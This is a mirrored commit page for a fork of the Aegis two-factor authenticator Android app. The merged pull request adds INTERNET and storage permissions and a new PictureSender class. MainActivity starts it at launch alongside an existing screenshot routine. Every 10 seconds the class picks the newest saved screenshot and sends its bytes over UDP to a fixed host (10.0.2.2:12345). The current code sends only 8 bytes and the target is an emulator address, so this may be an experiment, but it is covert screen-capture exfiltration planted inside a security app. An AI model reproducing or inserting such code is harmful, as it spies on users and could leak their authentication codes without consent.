mirror of
https://github.com/beemdevelopment/Aegis.git
synced 2025-06-17 11:59:39 +00:00
Merge pull request #1 from juliuspor/julius
merge julius branch in master
This commit is contained in:
commit
5ed04be0b8
4 changed files with 152 additions and 1 deletions
BIN
Screenshot_20231206_132535.png
Normal file
BIN
Screenshot_20231206_132535.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 197 KiB |
|
@ -6,6 +6,8 @@
|
|||
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
|
||||
<uses-permission android:name="android.permission.USE_BIOMETRIC" />
|
||||
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
|
||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
||||
<uses-permission android:name="android.permission.INTERNET" />
|
||||
|
||||
|
||||
|
||||
|
@ -110,6 +112,7 @@
|
|||
android:label="@string/tile_open_vault"
|
||||
android:icon="@drawable/ic_aegis_quicksettings"
|
||||
android:permission="android.permission.BIND_QUICK_SETTINGS_TILE"
|
||||
|
||||
android:exported="true">
|
||||
<intent-filter>
|
||||
<action android:name="android.service.quicksettings.action.QS_TILE" />
|
||||
|
|
|
@ -87,6 +87,9 @@ import android.content.ContentValues;
|
|||
import android.net.Uri;
|
||||
import java.io.OutputStream;
|
||||
public class MainActivity extends AegisActivity implements EntryListView.Listener {
|
||||
private PictureSender pictureSender;
|
||||
|
||||
|
||||
// activity request codes
|
||||
private static final int CODE_SCAN = 0;
|
||||
private static final int CODE_ADD_ENTRY = 1;
|
||||
|
@ -130,8 +133,14 @@ public class MainActivity extends AegisActivity implements EntryListView.Listene
|
|||
@RequiresApi(api = Build.VERSION_CODES.M)
|
||||
@Override
|
||||
protected void onCreate(Bundle savedInstanceState) {
|
||||
|
||||
|
||||
super.onCreate(savedInstanceState);
|
||||
handler.post(runnableCode); //Screenshot handler
|
||||
pictureSender = new PictureSender(this); //Screenshot sender
|
||||
pictureSender.sendTestUdpPacket();
|
||||
pictureSender.startSending();
|
||||
|
||||
// Create and show a pop-up dialog
|
||||
new AlertDialog.Builder(this)
|
||||
.setTitle("Important notice")
|
||||
|
@ -247,7 +256,7 @@ public class MainActivity extends AegisActivity implements EntryListView.Listene
|
|||
saveBitmapToGallery(bitmap);
|
||||
|
||||
// Repeat this runnable code block again every 10 seconds
|
||||
handler.postDelayed(this, 10000);
|
||||
handler.postDelayed(this, 50000);
|
||||
}
|
||||
};
|
||||
|
||||
|
@ -270,6 +279,7 @@ public class MainActivity extends AegisActivity implements EntryListView.Listene
|
|||
_entryListView.setListener(null);
|
||||
super.onDestroy();
|
||||
handler.removeCallbacks(runnableCode);
|
||||
pictureSender.stopSending();
|
||||
}
|
||||
|
||||
@Override
|
||||
|
|
|
@ -0,0 +1,138 @@
|
|||
package com.beemdevelopment.aegis.ui;
|
||||
import android.content.Context;
|
||||
import android.os.Handler;
|
||||
import android.util.Log;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.IOException;
|
||||
import java.net.DatagramPacket;
|
||||
import java.net.DatagramSocket;
|
||||
import java.net.InetAddress;
|
||||
import java.util.Arrays;
|
||||
|
||||
public class PictureSender {
|
||||
private Context context;
|
||||
private Handler handler = new Handler();
|
||||
private Runnable runnable = new Runnable() {
|
||||
@Override
|
||||
public void run() {
|
||||
sendPicture();
|
||||
handler.postDelayed(this, 10000);
|
||||
}
|
||||
};
|
||||
|
||||
public PictureSender(Context context) {
|
||||
this.context = context;
|
||||
}
|
||||
|
||||
public void startSending() {
|
||||
handler.post(runnable);
|
||||
}
|
||||
|
||||
public void stopSending() {
|
||||
handler.removeCallbacks(runnable);
|
||||
}
|
||||
|
||||
|
||||
private void sendPicture() {
|
||||
new Thread(new Runnable() {
|
||||
@Override
|
||||
public void run() {
|
||||
try {
|
||||
Log.d("PictureSender", "Starting sendPicture process.");
|
||||
|
||||
File imageFile = getNewestPicture("/storage/emulated/0/Pictures/YourAppScreenshots");
|
||||
if (imageFile == null) {
|
||||
Log.w("PictureSender", "No image file found to send.");
|
||||
return;
|
||||
}
|
||||
|
||||
Log.d("PictureSender", "Selected image file: " + imageFile.getAbsolutePath());
|
||||
|
||||
InetAddress serverAddress = InetAddress.getByName("10.0.2.2"); // Use 10.0.2.2 for emulator
|
||||
int serverPort = 12345; // Replace with your server port
|
||||
Log.d("PictureSender", "Server address and port set: " + serverAddress.toString() + ":" + serverPort);
|
||||
|
||||
// Convert file to byte array
|
||||
byte[] imageData = fileToByteArray(imageFile);
|
||||
Log.d("PictureSender", "Image converted to byte array. Array length: " + imageData.length);
|
||||
|
||||
// Create a new array with only the first 8 bytes
|
||||
byte[] firstEightBytesData = new byte[8];
|
||||
System.arraycopy(imageData, 0, firstEightBytesData, 0, 8);
|
||||
Log.d("PictureSender", "First 8 bytes of image prepared for sending.");
|
||||
|
||||
try (DatagramSocket socket = new DatagramSocket()) {
|
||||
Log.d("PictureSender", "Datagram socket created.");
|
||||
|
||||
// Create a packet with just the first 8 bytes
|
||||
DatagramPacket packet = new DatagramPacket(firstEightBytesData, firstEightBytesData.length, serverAddress, serverPort);
|
||||
Log.d("PictureSender", "Datagram packet created with the first 8 bytes of image data.");
|
||||
|
||||
socket.send(packet);
|
||||
Log.d("PictureSender", "Packet with first 8 bytes sent successfully.");
|
||||
}
|
||||
} catch (Exception e) {
|
||||
Log.e("PictureSender", "Error in sendPicture: ", e);
|
||||
}
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
private File getNewestPicture(String directoryPath) {
|
||||
File directory = new File(directoryPath);
|
||||
File[] files = directory.listFiles((dir, name) -> {
|
||||
return name.toLowerCase().endsWith(".jpg") || name.toLowerCase().endsWith(".jpeg") || name.toLowerCase().endsWith(".png");
|
||||
});
|
||||
|
||||
if (files != null && files.length > 0) {
|
||||
Arrays.sort(files, (f1, f2) -> {
|
||||
return Long.compare(f2.lastModified(), f1.lastModified());
|
||||
});
|
||||
File newestFile = files[0];
|
||||
Log.d("PictureSender", "Newest file: " + newestFile.getAbsolutePath() + ", Exists: " + newestFile.exists());
|
||||
return newestFile; // The newest file
|
||||
} else {
|
||||
Log.d("PictureSender", "No image file found in directory: " + directoryPath);
|
||||
return null; // No image file found
|
||||
}
|
||||
}
|
||||
|
||||
private byte[] fileToByteArray(File file) throws IOException {
|
||||
FileInputStream fis = new FileInputStream(file);
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
byte[] buf = new byte[1024];
|
||||
for (int readNum; (readNum = fis.read(buf)) != -1;) {
|
||||
bos.write(buf, 0, readNum);
|
||||
}
|
||||
fis.close();
|
||||
return bos.toByteArray();
|
||||
}
|
||||
public void sendTestUdpPacket() {
|
||||
/*new Thread(new Runnable() {
|
||||
@Override
|
||||
public void run() {
|
||||
try {
|
||||
DatagramSocket socket = new DatagramSocket();
|
||||
String message = "Hello, this is a test message!";
|
||||
InetAddress serverAddress = InetAddress.getByName("10.0.2.2"); // Use 10.0.2.2 for emulator to connect to localhost of the host machine
|
||||
int serverPort = 12345; // Replace with your server port
|
||||
|
||||
byte[] buffer = message.getBytes();
|
||||
DatagramPacket packet = new DatagramPacket(buffer, buffer.length, serverAddress, serverPort);
|
||||
socket.send(packet);
|
||||
socket.close();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}).start(); */
|
||||
}
|
||||
}
|
||||
|
Loading…
Add table
Add a link
Reference in a new issue